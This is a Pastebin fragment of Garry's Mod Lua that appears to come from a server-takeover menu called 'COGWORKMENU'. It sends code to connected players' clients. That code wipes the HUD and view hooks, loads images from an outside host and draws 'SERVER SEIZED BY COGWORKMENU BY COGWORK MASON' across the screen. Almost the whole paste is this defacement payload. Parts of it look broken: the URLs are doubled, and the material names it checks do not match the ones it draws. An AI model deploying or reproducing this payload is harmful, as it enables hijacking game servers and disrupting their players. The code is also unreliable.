Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog1", 183, 256 )
- LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog2", 256, 256 )
- LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog3", 110, 256 )
- LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog4", 256, 55 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
- lol:PushAction( 31, function( pPlayer )
- lol:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "newhud", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "cog1" ) then
- surface.SetMaterial( GetWebMat("doritos")[1] )
- surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
- end
- if GetWebMat( "cog2" ) then
- surface.SetMaterial( GetWebMat("dew")[1] )
- surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
- end
- if GetWebMat( "cog3" ) then
- surface.SetMaterial( GetWebMat("fedora")[1] )
- surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
- end
- if GetWebMat( "cog4" ) then
- surface.SetMaterial( GetWebMat("awp")[1] )
- surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
- end
- draw.SimpleTextOutlined(
- "SERVER SEIZED BY COGWORKMENU BY COGWORK MASON",
- "DermaLarge",
- ScrW() /2 +math.random( -8, 8 ),
- ScrH() /2 +math.random( -8, 8 ) +64,
- Color( 255, 0, 0, 255 ),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color( 0, 0, 255, 255 )
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
- ]] )
- end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement